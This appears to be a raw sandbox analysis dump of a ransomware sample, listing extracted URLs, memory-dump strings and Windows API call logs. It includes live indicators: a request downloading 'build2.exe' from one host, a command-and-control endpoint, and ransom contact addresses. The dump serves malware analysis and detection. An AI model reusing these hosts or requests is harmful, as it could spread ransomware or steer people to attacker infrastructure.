"t.Kkov/l%94xC^XuF.5rUU}}X0q*cZG3A1H`M39'L{jtx=Vjy/ez*auZXUINlQFP0YFdjnL6Pu15Q2NvTACVSsRemXA2EL{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5" Pattern match: "a.TTB/;[y/]DE" Pattern match: "PSCMFX.DG/G/aN0" Pattern match: "l.IW/]I_UKF@GL04L]q" Pattern match: "5.vO/8-QYU?Bd=WMb_p'hq32_1#$k`-*6KpiRzvg+\K7fjh]`:}Df]R'8W_^,v:6i" Pattern match: "o.mk/6XyS" Pattern match: "qZ.NU/97cYy+XqP9" Pattern match: "p6T.QN/cPlp4&{NbL1krKS%Qab:S%-7g53dEa?kd\-GVsUiRh;n1R!\ei~" Pattern match: "O.xp/HbNKio:8" Pattern match: "iDdN.pj/fj" Pattern match: "V.Ddy/iXx#UQ{xvg&EE`G^_UX~w=}n.Uj~4xv7'!2R\NbMq~1wG_.FI}g&F$r5V|b2qT.M" Pattern match: "kd.FG/o=*Q[-G*KP|n" Pattern match: "71Xg.Hnp/}%koLLq@58.H" Pattern match: "d.yV/-QY4wO\(eBbYl)" Pattern match: "w.qKQh/q=\=e|C7tLItM`O!%1$`7DRvbF]$JICzC./'s" Pattern match: "GFD.CR/C@w{7/dnRgsBM`v$R3;7+xjS8%'.P" Pattern match: "s.OJ/g]HpH*4.#/t%" Pattern match: "OgM.TcO/{Y&!*sZ=px!=/Ml" Pattern match: "yz.EB/^0*CRRAP9jf~s,Q/@GY+?TC]7UN" Pattern match: "5s.LP/^MF5ka589k" Pattern match: "JO.oVk/]V" Pattern match: "RO.sgH/yz8Yu" Pattern match: "L.wok/cz" Pattern match: "I.mZY/BY|@" Pattern match: "661.lE/9w71a/PrT;@iG?Eci[X?0Xn6]jd]$NwP1$Aak9/" Pattern match: "u.ayC/yGcEtu]n;3`l~Tlo" Pattern match: "Ym.mpa/y2" Pattern match: "hU0-MW.kiG/6z!_;!Q~:.CQ[fv6%vcZE" Pattern match: "https://we.tl/t-3q8YguI9qhPrice" Heuristic match: "colisumy.com" Heuristic match: "GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com" Heuristic match: "zexeq.com" Heuristic match: "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Heuristic match: "api.2ip.ua" Pattern match: "http://zexeq.com/raud/get.php" Pattern match: "https://api.2ip.ua/geo.json" Pattern match: "https://we.tl/t-3q8YguI9qh" Heuristic match: "support@freshmail.top" Heuristic match: "datarestorehelp@airmail.cc" Pattern match: "http://www.openssl.org/support/faq.html" Heuristic match: "ns1.kriston.ug" Heuristic match: "ns2.chalekin.ug" Heuristic match: "ns3.unalelath.ug" Heuristic match: "ns4.andromath.ug" Pattern match: "zexeq.com/raud/get.php" Pattern match: "https://we.tl/t-3q8YguI9" Heuristic match: "res.re" Heuristic match: "pi.2ip.ua" Pattern match: "api.2ip.ua/geo.json" Heuristic match: "2ip.ua" Heuristic match: "ip.ua" Heuristic match: "ntrust.net" Heuristic match: "*.2ip.ua" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "0www.entrust.net/CPS" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "http://repository.swisssign.com/0" Heuristic match: "l.top" Heuristic match: "6A.pT"5a:T4571,Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin&" - Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found URL "https://we.tl/t-3q8ygui9qhprice" - Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found URL "http://zexeq.com/raud/get.phppotqpotqpotqpotqpotqpotqi/+^" - Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found URL "https://we.tl/t-3q8ygui9price" - Source: "00000000-00004284.00000000.88232.00890000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin&" - Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found URL "https://we.tl/t-3q8ygui9qhprice" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://zexeq.com/raud/get.phpuutwdefa" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;globalsign" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?geotrust" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=arizona1scottsdale1%0" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=qjg0[j730']qq0pd?@>z>ic/gp-h5t[u0]" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0x,3'gton1redmond1microsoft" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "https://we.tl/t-3q8ygui9attention!don't" - Source: "00000000-00005728.00000000.80675.00600000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin&" - Source: "00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found URL "https://we.tl/t-3q8ygui9qhprice" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://zexeq.com/raud/get.phpuutwdefa" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;globalsign" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?os)9geotrust" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=arizona1scottsdale1%0" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=_jr,jw02do402h3u" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0gton1redmond1microsoft" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "https://we.tl/t-3q8ygui9attention!don't" - Source: "00000000-00005728.00000001.82597.00600000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found URL "http://zexeq.com/raud/get.php-----begin&" - Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found URL "http://www.fac" - Source: "00000000-00006344.00000000.78848.005D0000.00000004.mdmp") Found URL "https://we.tl/t-3q8ygui9qhprice" - Source: "00000000-00006344.00000000.78848.0B6A0000.00000004.mdmp") Found URL "https://api.2ip.ua/geo.jsontime" - Source: "00000000-00006576.00000000.78354.00400000.00000040.mdmp") Found URL "http://https://shell32.dll" - Source: "00000000-00006576.00000000.78354.00400000.00000040.mdmp") Found URL "http://www.openssl.org/support/faq.htmlsetct-certreqtbexsetct-certrestbesetct-crlnotificationtbssetct-crlnotificationrestbssetct-bcidistributiontbssetext-gencryptgeneric" - Source: "00000000-00006576.00000000.78354.00400000.00000040.mdmp")5b:T723,Observed string: "RSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "lhash part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Big Number part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "DSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "PEM part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Stack part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "RAND part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "Diffie-Hellman part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ASN.1 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "EC part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "EVP part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "X.509 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA1 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA-256 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "SHA-512 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "MD5 part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ECDSA part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "CONF part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "AES part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "CONF_def part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.") Observed string: "ECDH part of OpenSSL 1.0.1j 15 Oct 2014" (Indicator: "OpenSSL 1.")5c:T6c7,"04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\windows\\temp\\VxOle32.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\oleaut32.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\kernelbase.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\ole32.dll"} "04587099.exe" called "NtQueryAttributesFile" (UID: 00000000-00005124) "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\msimg32.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\apfHQ" "$status": "c0000034"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\uxtheme.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\dwmapi.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\iertutil.dll" "$status": "c0000034"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\iertutil.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\ondemandconnroutehelper.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\winhttp.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\system32\\mswsock.dll"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\WINDOWS\\SYSTEM32\\WINNSI.DLL"} "04587099.exe" called "NtQueryAttributesFile" with parameters {"$name": "C:\\Users\\HAPUBWS"}5d:Te21,"04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "10" "TokenHandle": "64304250356132" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "588" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "996432413276" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "37354172386902652" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "636" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "652" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "656" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "648" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "8485171053931266764" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "728" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "756" "DesiredAccess": "8" "TokenHandle": "37358037857469176" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "37354000588210176" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "760" "DesiredAccess": "8" "TokenHandle": "8452839235912436" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "756" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "37356629108196092" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "8" "TokenHandle": "37358037857469180" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "131080" "TokenHandle": "37357110144533288" "$name": "C:\\04587099.exe"} "04587099.exe" called "NtOpenProcessToken" with parameters {"ProcessHandle": "4294967295" "DesiredAccess": "33554432" 